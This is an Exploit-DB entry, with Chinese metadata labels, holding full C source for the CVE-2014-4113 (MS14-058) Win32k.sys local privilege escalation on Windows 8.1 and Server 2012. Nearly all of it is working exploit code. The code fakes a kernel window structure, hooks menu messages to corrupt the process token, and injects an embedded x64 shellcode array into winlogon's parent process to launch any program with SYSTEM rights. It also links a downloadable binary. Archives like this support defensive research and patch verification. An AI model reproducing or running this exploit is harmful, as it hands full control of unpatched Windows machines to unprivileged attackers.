标题: Microsoft Windows 8.1/ Server 2012 - 'Win32k.sys' Local Privilege Escalation (MS14-058) EDB-ID: 46945 CVE: 2014-4113 类型: LOCAL 平台: WINDOWS 发布日期: 2014-11-24 漏洞利用脚本: #include "hd.h"

// EDB Note ~ Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/46945.rar


byte __s_code[]={
 0x48 ,0x8B ,0xC4 ,0x48 ,0x89 ,0x58 ,0x08 ,0x48 ,0x89 ,0x68 ,0x20 ,0x56 ,0x57 ,0x41 ,0x56 ,0x48 ,
 0x81 ,0xEC ,0xE0 ,0x00 ,0x00 ,0x00 ,0x45 ,0x33 ,0xF6 ,0x49 ,0x89 ,0xCB ,0x4C ,0x89 ,0x70 ,0x18 ,
 0x4C ,0x89 ,0x70 ,0x10 ,0x90 ,0x65 ,0x48 ,0x8B ,0x04 ,0x25 ,0x30 ,0x00 ,0x00 ,0x00 ,0x48 ,0x8B ,
 0x40 ,0x60 ,0x90 ,0x90 ,0x90 ,0x90 ,0x48 ,0x8B ,0x78 ,0x18 ,0x48 ,0x8B ,0x47 ,0x10 ,0x48 ,0x83 ,
 0xC7 ,0x10 ,0x48 ,0x3B ,0xC7 ,0x0F ,0x84 ,0x99 ,0x01 ,0x00 ,0x00 ,0x48 ,0xBB ,0x65 ,0x00 ,0x6C ,
 0x00 ,0x33 ,0x00 ,0x32 ,0x00 ,0x48 ,0xBE ,0x2E ,0x00 ,0x64 ,0x00 ,0x6C ,0x00 ,0x6C ,0x00 ,0x49 ,
 0xBA ,0x6B ,0x00 ,0x65 ,0x00 ,0x72 ,0x00 ,0x6E ,0x00 ,0x48 ,0xBD ,0x4B ,0x00 ,0x45 ,0x00 ,0x52 ,
 0x00 ,0x4E ,0x00 ,0x49 ,0xB8 ,0x45 ,0x00 ,0x4C ,0x00 ,0x33 ,0x00 ,0x32 ,0x00 ,0x49 ,0xB9 ,0x2E ,
 0x00 ,0x44 ,0x00 ,0x4C ,0x00 ,0x4C ,0x00 ,0x66 ,0x0F ,0x1F ,0x84 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,
 0x66 ,0x83 ,0x78 ,0x58 ,0x18 ,0x48 ,0x8B ,0x48 ,0x60 ,0x72 ,0x25 ,0x48 ,0x8B ,0x11 ,0x49 ,0x3B ,
 0xD2 ,0x75 ,0x0C ,0x48 ,0x39 ,0x59 ,0x08 ,0x75 ,0x06 ,0x48 ,0x39 ,0x71 ,0x10 ,0x74 ,0x1E ,0x48 ,
 0x3B ,0xD5 ,0x75 ,0x0C ,0x4C ,0x39 ,0x41 ,0x08 ,0x75 ,0x06 ,0x4C ,0x39 ,0x49 ,0x10 ,0x74 ,0x0D ,
 0x48 ,0x8B ,0x00 ,0x48 ,0x3B ,0xC7 ,0x75 ,0xC8 ,0xE9 ,0x17 ,0x01 ,0x00 ,0x00 ,0x48 ,0x8B ,0x78 ,
 0x30 ,0x48 ,0x85 ,0xFF ,0x0F ,0x84 ,0x0A ,0x01 ,0x00 ,0x00 ,0x48 ,0x63 ,0x47 ,0x3C ,0xB9 ,0x4D ,
 0x5A ,0x00 ,0x00 ,0x66 ,0x39 ,0x0F ,0x0F ,0x85 ,0xF8 ,0x00 ,0x00 ,0x00 ,0x81 ,0x3C ,0x38 ,0x50 ,
 0x45 ,0x00 ,0x00 ,0x0F ,0x85 ,0xEB ,0x00 ,0x00 ,0x00 ,0x44 ,0x8B ,0x8C ,0x38 ,0x88 ,0x00 ,0x00 ,
 0x00 ,0x49 ,0x8B ,0xD6 ,0x4C ,0x03 ,0xCF ,0x45 ,0x8B ,0x41 ,0x20 ,0x41 ,0x8B ,0x49 ,0x18 ,0x4C ,
 0x03 ,0xC7 ,0x48 ,0x85 ,0xC9 ,0x74 ,0x32 ,0x48 ,0xBB ,0x43 ,0x72 ,0x65 ,0x61 ,0x74 ,0x65 ,0x50 ,
 0x72 ,0x49 ,0xBA ,0x72 ,0x6F ,0x63 ,0x65 ,0x73 ,0x73 ,0x41 ,0x00 ,0x0F ,0x1F ,0x44 ,0x00 ,0x00 ,
 0x41 ,0x8B ,0x04 ,0x90 ,0x48 ,0x39 ,0x1C ,0x38 ,0x75 ,0x07 ,0x4C ,0x39 ,0x54 ,0x38 ,0x07 ,0x74 ,
 0x08 ,0x48 ,0xFF ,0xC2 ,0x48 ,0x3B ,0xD1 ,0x72 ,0xE7 ,0x33 ,0xC0 ,0x48 ,0x3B ,0xD1 ,0x0F ,0x83 ,
 0x92 ,0x00 ,0x00 ,0x00 ,0x41 ,0x8B ,0x49 ,0x24 ,0x45 ,0x33 ,0xC0 ,0x48 ,0x03 ,0xCF ,0x0F ,0xB7 ,
 0x14 ,0x51 ,0x41 ,0x8B ,0x49 ,0x1C ,0x45 ,0x33 ,0xC9 ,0x48 ,0x03 ,0xCF ,0x44 ,0x8B ,0x14 ,0x91 ,
 0x48 ,0x89 ,0x44 ,0x24 ,0x58 ,0x48 ,0x89 ,0x44 ,0x24 ,0x60 ,0x4C ,0x03 ,0xD7 ,0x48 ,0x8D ,0x7C ,
 0x24 ,0x70 ,0xB9 ,0x68 ,0x00 ,0x00 ,0x00 ,0xF3 ,0xAA ,0xB8 ,0x05 ,0x00 ,0x00 ,0x00 ,0x49 ,0x8B ,
 0xD3 ,0x66 ,0x89 ,0x84 ,0x24 ,0xB0 ,0x00 ,0x00 ,0x00 ,0x48 ,0x8D ,0x44 ,0x24 ,0x50 ,0x33 ,0xC9 ,
 0x48 ,0x89 ,0x44 ,0x24 ,0x48 ,0x48 ,0x8D ,0x44 ,0x24 ,0x70 ,0x4C ,0x89 ,0x74 ,0x24 ,0x50 ,0x48 ,
 0x89 ,0x44 ,0x24 ,0x40 ,0x4C ,0x89 ,0x74 ,0x24 ,0x38 ,0x4C ,0x89 ,0x74 ,0x24 ,0x30 ,0xC7 ,0x44 ,
 0x24 ,0x28 ,0x10 ,0x00 ,0x00 ,0x00 ,0xC7 ,0x44 ,0x24 ,0x70 ,0x68 ,0x00 ,0x00 ,0x00 ,0xC7 ,0x84 ,
 0x24 ,0xAC ,0x00 ,0x00 ,0x00 ,0x01 ,0x00 ,0x00 ,0x00 ,0xC7 ,0x44 ,0x24 ,0x20 ,0x01 ,0x00 ,0x00 ,
 0x00 ,0x41 ,0xFF ,0xD2 ,0x33 ,0xC0 ,0x4C ,0x8D ,0x9C ,0x24 ,0xE0 ,0x00 ,0x00 ,0x00 ,0x49 ,0x8B ,
 0x5B ,0x20 ,0x49 ,0x8B ,0x6B ,0x38 ,0x49 ,0x8B ,0xE3 ,0x41 ,0x5E ,0x5F ,0x5E ,0xC3
};




HMENU __init_menu(
 )
{
 HMENU hMenu_Ret=NULL;
 MENUITEMINFO mItem={0};

 do 
 {
  HMENU hme=CreatePopupMenu();
  if (hme==NULL){
   printf("CreatePopupMenu()_1 fail:0x%x\n" ,GetLastError());
   break;
  }

  mItem.cbSize=sizeof(MENUITEMINFO);
  mItem.fMask=(MIIM_STRING);

  bool bisok=InsertMenuItem(hme ,0 ,1 ,&mItem);
  if (bisok==false){
   printf("InsertMenuItem()_1 fail:0x%x\n" ,GetLastError());
   break;
  }

  hMenu_Ret=CreatePopupMenu();
  if (hMenu_Ret==NULL){
   printf("CreatePopupMenu()_2 fail:0x%x\n" ,GetLastError());
   break;
  }

  MENUITEMINFO mi={0};
  mi.cbSize=sizeof(mi);
  mi.fMask=(MIIM_STRING|MIIM_SUBMENU);
  mi.hSubMenu=hme;
  mi.dwTypeData="";
  mi.cch=1;

  bisok=InsertMenuItem(hMenu_Ret ,0 ,1 ,&mi);
  if (bisok==false){
   printf("InsertMenuItem()_2 fail: 0x%x\n" ,GetLastError());
  }

 } while (false);

 return hMenu_Ret;
}


PVOID __calc_sep_token_addr(
 )
{
 NTSTATUS status;
 PSYSTEM_HANDLE_INFORMATION handleInfo=NULL;
 ULONGLONG handleInfoSize = 0x10000 ,i ,ret_obj_addr=NULL; 

 do 
 {
  _NtQuerySystemInformation NtQuerySystemInformation = 
   (_NtQuerySystemInformation)GetProcAddress(LoadLibrary("ntdll.dll"), "NtQuerySystemInformation");

  _NtDuplicateObject NtDuplicateObject =
   (_NtDuplicateObject)GetProcAddress(LoadLibrary("ntdll.dll"), "NtDuplicateObject");

  _NtQueryObject NtQueryObject =
   (_NtQueryObject)GetProcAddress(LoadLibrary("ntdll.dll"), "NtQueryObject");


  if (!NtQuerySystemInformation || !NtDuplicateObject || !NtQueryObject){
   printf("get sys proc failed!\n");
   break;
  }

  handleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(handleInfoSize);

  while ((status = NtQuerySystemInformation(SystemHandleInformation,handleInfo,
   handleInfoSize,NULL)) == STATUS_INFO_LENGTH_MISMATCH)
   handleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(handleInfo, handleInfoSize *= 2);

  if (!NT_SUCCESS(status)){
   printf("NtQuerySystemInformation failed!\n");
   break;
  }


  POBJECT_TYPE_INFORMATION objectTypeInfo=(POBJECT_TYPE_INFORMATION)malloc(0x1000);

  for (i = 0; i < handleInfo->HandleCount; i++)
  {
   SYSTEM_HANDLE handle = handleInfo->Handles[i];

   if (handle.ProcessId != GetCurrentProcessId())
    continue;

   if (!NT_SUCCESS(NtQueryObject(
    (HANDLE)handle.Handle,
    ObjectTypeInformation,
    objectTypeInfo,
    0x1000,
    NULL
    )))
   {
    printf("[%#x] Error!\n", handle.Handle);
    continue;
   }

   if (objectTypeInfo->Name.Buffer==NULL || objectTypeInfo->Name.Length==0)
    continue;

   if (wcscmp(objectTypeInfo->Name.Buffer ,L"Token"))
    continue;

   ret_obj_addr=((ULONGLONG)handle.Object+0x40);
  }

  if (objectTypeInfo)
   free(objectTypeInfo);

  if (handleInfo)
   free(handleInfo);

 } while (false);

 return (PVOID)ret_obj_addr;
}


ULONGLONG __calc_pid(
 )
{
 NTSTATUS status;
 PSYSTEM_PROCESS_INFORMATION PsInfo=NULL;
 ULONGLONG PsInfoSize = 0x10000 ,ret_pid=NULL; 

 do 
 {
  _NtQuerySystemInformation NtQuerySystemInformation = 
   (_NtQuerySystemInformation)GetProcAddress(LoadLibrary("ntdll.dll"), "NtQuerySystemInformation");


  if (!NtQuerySystemInformation){
   printf("get sys proc failed!\n");
   break;
  }

  PsInfo = (PSYSTEM_PROCESS_INFORMATION)malloc(PsInfoSize);

  while ((status = NtQuerySystemInformation(SystemProcessesAndThreadsInformation,PsInfo,
   PsInfoSize ,NULL)) == STATUS_INFO_LENGTH_MISMATCH)
   PsInfo = (PSYSTEM_PROCESS_INFORMATION)realloc(PsInfo, PsInfoSize*= 2);

  if (!NT_SUCCESS(status)){
   printf("NtQuerySystemInformation failed!\n");
   break; 
  }

  for (;PsInfo->NextEntryDelta ;PsInfo = (PSYSTEM_PROCESS_INFORMATION)((ULONGLONG)PsInfo + PsInfo->NextEntryDelta))
  {
   if (PsInfo->ProcessName.Buffer==NULL || PsInfo->ProcessName.Length==0)
    continue;

   if (!wcscmp(PsInfo->ProcessName.Buffer ,L"winlogon.exe")){
    ret_pid=PsInfo->InheritedFromProcessId;
    break;
   }
  }

 } while (false);

 return ret_pid;
} 


ULONGLONG __init_fake_wnd_pti(
 )
{
 ULONGLONG ret_pti=NULL;
 ULONGLONG dst_proc_addr=NULL;

 do 
 {
  ret_pti=(ULONGLONG)malloc(0x500);
  if (ret_pti==NULL){
   printf("malloc fail!\n");
   return NULL; 
  }

  *(ULONGLONG*)(ret_pti+_oft_win32ps_pti)=0;  //Win32Process
  *(DWORD*)(ret_pti+_oft_0420h_pti)=0;  //not 0x20
  *(ULONGLONG*)(ret_pti+_oft_list_header_pti)=(ULONGLONG)__calc_sep_token_addr()-0x5;  //TODO:

  void* tmpbuf=malloc(0x100); 
  memset(tmpbuf ,0 ,0x100);
  *(ULONGLONG*)(ret_pti+_oft_0188h_pti)=(ULONGLONG)tmpbuf; //buf addr(size >= 0x12) ,check in win32k!SetWakeBit

 } while (false);

 return ret_pti;
}



bool __init_fake_tagWnd(
 )
{
 bool bRet=false;
 _ZwAllocateVirtualMemory_pt pfn_ZwAllocateVm=NULL;

 do 
 {
  HMODULE hmd=LoadLibrary("ntdll.dll");
  if (hmd==NULL)
   break;

  ULONGLONG fake_tagwnd_pti=__init_fake_wnd_pti();
  if (fake_tagwnd_pti==NULL){
   printf("__calc_wnd_pti() fail!\n");
   break;
  }


  pfn_ZwAllocateVm=(_ZwAllocateVirtualMemory_pt)GetProcAddress(hmd ,"ZwAllocateVirtualMemory");
  if (pfn_ZwAllocateVm==NULL){
   printf("pfn ZwAllocateVirtualMemery addr is NULL!\n");
   break;
  }

  BYTE* fake_tagWnd_addr=(BYTE*)0xFFFFFFFB; size_t region_size=0x20000;
  NTSTATUS status=pfn_ZwAllocateVm(GetCurrentProcess() ,(PVOID*)&fake_tagWnd_addr ,0 ,&region_size,
   MEM_RESERVE | MEM_COMMIT|MEM_TOP_DOWN ,PAGE_EXECUTE_READWRITE);

  if (status < 0){
   printf("Allocate fake tagWnd fail!\n");
   break;;
  }

  ULONGLONG ul_align=0xFFFFFFFBLL-(ULONGLONG)fake_tagWnd_addr;
  if (ul_align > 0x10000){
   printf("alloc fake fail: %x!\n" ,fake_tagWnd_addr);
   break;
  }

  memset(fake_tagWnd_addr+ul_align ,0 ,0x1000);

  *(ULONGLONG*)(fake_tagWnd_addr+ul_align+_oft_idx_tagWND)=0x0;
  *(ULONGLONG*)(fake_tagWnd_addr+ul_align+_oft_pti_tagWnd)=fake_tagwnd_pti; //oft 0x170 == win32process
  *(ULONGLONG*)(fake_tagWnd_addr+ul_align+_oft_18h_tagWnd)=0x0; //0 ,check in IsWindowDesktopComposed

  bRet=true;

 } while (false);

 return bRet;
}



LRESULT __stdcall __wh_wnd_proc( 
 int code, 
 WPARAM wparam,
 LPARAM lparam 
 )
{
 do 
 {
  CWPSTRUCT* lpm=(CWPSTRUCT*)lparam;
  if (lpm->message != MN_FINDWINDOWFROMPOINT || g_bis_mn_findwnded==true)
   break;

  g_bis_mn_findwnded=true;

  UnhookWindowsHook(WH_CALLWNDPROC ,__wh_wnd_proc);

  g_ori_wnd_proc=(WNDPROC)SetWindowLongPtr(lpm->hwnd ,GWLP_WNDPROC ,(LONG_PTR)__wnd_proc_sl);

 } while (false);

 return CallNextHookEx(g_hhk ,code ,wparam ,lparam);
}




LRESULT __wnd_proc_sl( 
 HWND hwnd,
 UINT umsg,
 WPARAM wparam, 
 LPARAM lparam
 )
{
 do 
 {
  if (umsg != MN_FINDWINDOWFROMPOINT )
   break;

  if (g_bis_endmenu)
   break;

  g_bis_endmenu=1;

  EndMenu();
  return 0xFFFFFFFB;

 } while (false);

 return CallWindowProc(g_ori_wnd_proc ,hwnd ,umsg ,wparam ,lparam);
}



LRESULT __stdcall __wnd_proc(
 HWND hwnd, 
 UINT umsg, 
 WPARAM wparam, 
 LPARAM lparam
 )
{
 if (umsg==WM_ENTERIDLE && g_bis_idled==FALSE)
 {
  g_bis_idled=TRUE;
  PostMessage(hwnd ,WM_KEYFIRST ,0x28 ,0);    
  PostMessage(hwnd ,WM_KEYFIRST ,0X27 ,0);   
  PostMessage(hwnd ,WM_LBUTTONDOWN ,0 ,0xff00ff);  
 }

 return DefWindowProc(hwnd ,umsg ,wparam ,lparam);
}


DWORD __stdcall __thread_plroc( 
 void*  param
 )
{
 bool bisok=false;
 WNDCLASS wndcls={0};

 do 
 {
  wndcls.lpfnWndProc=__wnd_proc;
  wndcls.lpszClassName="cve_2014_4113";
  RegisterClass(&wndcls);

  HWND hwnd=CreateWindowEx(0 ,wndcls.lpszClassName ,NULL ,0 ,0 ,0,
   200 ,200 ,NULL ,NULL ,NULL ,NULL);
  if (hwnd==NULL){
   printf("CreateWindowEx() fail: 0x%x\n" ,GetLastError());
   break;
  }

  HMENU hmenu=__init_menu();
  if (hmenu==NULL){
   printf("__init_menu() fail: 0x%x\n" ,GetLastError());
   break;
  }

  
  bool bisok=__init_fake_tagWnd();
  if (bisok==false){
   printf("__init_fake_tagWnd() fail:0x%x\n" ,GetLastError());
   break;
  }
  
  g_hhk=SetWindowsHookEx(WH_CALLWNDPROC ,__wh_wnd_proc ,NULL ,GetCurrentThreadId());
  if (g_hhk==NULL){
   printf("SetWindowsHookEx() fail:0x%x\n" ,GetLastError());
   break;
  }

  bisok=TrackPopupMenu(hmenu ,0 ,0x0FFFFD8F0 ,0x0FFFFD8F0 ,0 ,hwnd ,NULL);
  if (bisok==false){
   printf("TrackPopupMenu() fail:0x%x\n" ,GetLastError());
   break;
  }

  CloseHandle(hmenu);

  DestroyWindow(hwnd);

 } while (FALSE);

 return 0;
}



int main(
 int argc ,char** argv
 )
{
 bool bisok=false;

 do 
 {
  if (argc != 2){
   printf("usage: xxx fpath");
   break;
  }

  HANDLE hProcessToken=NULL ,hRestrictedToken=NULL;
  if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hProcessToken)) {
   printf("Could not open process token\n");
   break; 
  }

  if (!CreateRestrictedToken(hProcessToken, DISABLE_MAX_PRIVILEGE, 0, 0, 0, 0, 0, 0, &hRestrictedToken)){
   printf("Could not create restricted token\n");
   break;
  }

  if (!AdjustTokenPrivileges(hRestrictedToken, TRUE, NULL, 0, NULL, NULL)) {
   printf("Could not adjust privileges\n");
   break;
  }
  
  CloseHandle(hProcessToken);

  HANDLE hthread=CreateThread(NULL ,0 ,__thread_plroc ,NULL ,0 ,NULL);
  if (hthread==NULL){
   printf("CreateThread() fail: 0x%x\n" ,GetLastError());
   break;
  }

  WaitForSingleObject(hthread ,1000);
  TerminateThread(hthread ,0);
  
  if (!ImpersonateLoggedOnUser(hRestrictedToken)){
   printf("ImpersonateLoggedOnUser failed!\n");
   break;
  }
  
  PVOID pfn_cps=GetProcAddress(LoadLibrary("Kernel32.dll") ,"CreateProcessA");
  if (pfn_cps==NULL){
   printf("GetProcess CreateProcessA failed!\n");
   break;
  }
  
  ULONGLONG ul_pid_winlogon=__calc_pid();
  if (ul_pid_winlogon==NULL){
   printf("__calc_winlogon_pid failed!\n");
   break;
  }


  HANDLE hprocess=OpenProcess(PROCESS_ALL_ACCESS ,TRUE ,ul_pid_winlogon);
  if (hprocess==NULL){
   printf("OpenProcess failed: %x\n" ,GetLastError());
   break;
  }


  //init params
  PVOID params=VirtualAllocEx(hprocess ,NULL ,strlen(argv[1])+10 ,MEM_COMMIT ,PAGE_READWRITE);
  if (params==NULL){
   printf("VirtualAllocEx failed:%x\n" ,GetLastError());
   break;
  }

  ULONGLONG ul_ret_wrt=0;
  bisok=WriteProcessMemory(hprocess ,params ,argv[1] ,strlen(argv[1])+2 ,(SIZE_T*)&ul_ret_wrt);
  if (bisok==false || ul_ret_wrt < strlen(argv[1])+2){
   printf("WriteProcessMemory() failed!\n");
   break;
  } 


  //init shellcode

  PVOID shellcode=VirtualAllocEx(hprocess ,NULL ,0x220 ,MEM_COMMIT ,PAGE_EXECUTE_READWRITE);
  if (shellcode==NULL){
   printf("VirtualAllocEx failed:%x\n" ,GetLastError());
   break;
  }

  bisok=WriteProcessMemory(hprocess ,shellcode ,__s_code ,sizeof(__s_code) ,(SIZE_T*)&ul_ret_wrt);
  if (bisok==false || ul_ret_wrt < sizeof(__s_code)){
   printf("WriteProcessMemory() failed!\n");
   break;
  }

  DWORD dw_tid=0;
  HANDLE htd_rmt=CreateRemoteThread(hprocess ,NULL ,0 ,(LPTHREAD_START_ROUTINE )shellcode ,params ,0 ,&dw_tid);
  if (htd_rmt==NULL){
   printf("CreateRemoteThread() fail!\n");
   break;
  }


  //clear

  CloseHandle(htd_rmt);

  CloseHandle(hprocess);

  CloseHandle(hRestrictedToken);

 } while (false);
 
 return 0;
} URL: https://www.exploit-db.com/exploits/46945